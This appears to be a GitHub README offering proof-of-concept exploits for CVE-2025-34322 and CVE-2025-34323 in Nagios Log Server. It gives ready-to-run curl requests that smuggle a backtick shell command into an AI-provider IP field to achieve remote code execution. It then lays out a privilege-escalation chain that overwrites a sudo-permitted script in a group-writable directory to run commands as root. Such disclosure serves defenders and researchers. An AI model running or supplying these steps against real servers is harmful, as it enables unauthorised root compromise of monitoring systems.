mcorybillington/cve-2025-34322_cve-2025-34323_nagios_log_serverProof of Concept exploits for CVE-2025-34322 and CVE-2025-34323 in Nagios Log Server
Proof of Concept exploits for CVE-2025-34322 and CVE-2025-34323 in Nagios Log Server, along with a combined script to return a shell as root.
After auth, replace your session ID into these two curl commands. The first one set the command to execute, the next will execute the command:
$ curl -s -H 'Cookie: csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d; ls_session=<your-session-id>' --data 'csrf_ls=8f053ed2cb80988cea42d3ae3fc4415d&natural_language_query=1&nlp_disclaimer=on&ai_provider=self_hosted&self_host_ip_address=`touch /tmp/rce`&ai_port=8000&saveglobals=1' http://192.168.122.198/nagioslogserver/admin/globals
$ curl -s -H 'Cookie: ls_session=<your-session-id>' http://192.168.122.198/nagioslogserver/dashboard/natural_language_to_query
The www-data user has sudo rights to run the following script as root:
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/get_logstash_ports.sh
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/profile.sh
(root) NOPASSWD: /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh
and the /usr/local/nagioslogserver/scripts directory is writable
www-data@debian-nagios-logserver2:/usr/local/nagioslogserver$ ls -lah
total 44K
drwxrwxr-x 11 nagios nagios 4.0K Sep 7 16:34 .
drwxr-xr-x 12 root root 4.0K Sep 7 16:29 ..
drwxrwxr-x 4 nagios nagios 4.0K Sep 7 16:20 etc
-rw-r--r-- 1 root root 0 Sep 7 16:34 .installed
drwxr-xr-x 14 nagios nagios 4.0K Sep 7 16:29 logstash
drwxrwxr-x 2 nagios nagios 4.0K Sep 7 16:20 mibs
drwxr-xr-x 12 nagios nagios 4.0K Sep 7 16:20 opensearch
drwxrwxr-x 5 nagios nagios 4.0K Sep 7 16:20 pythonvenv
drwxrwxr-x 3 nagios nagios 4.0K Sep 7 16:20 scripts
drwxrwxr-x 2 nagios nagios 4.0K Sep 7 16:36 snapshots
drwxrwxr-x 3 nagios www-data 4.0K Sep 7 16:36 tmp
drwxrwxr-x 2 nagios nagios 4.0K Sep 7 16:31 var
due to the www-data user being a member of the nagios group. Therefore, the www-data user can move any files within the directory regardless of ownership. The following commands will move a file ( reconfigure_ncpa.sh ) that the www-data user can execute with sudo rights and then replace the file with a new file that contains arbitrary commands:
mv /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh.bak;
echo '<command>' > /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
chmod +x /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;
sleep 1;
sudo /usr/local/nagioslogserver/scripts/reconfigure_ncpa.sh;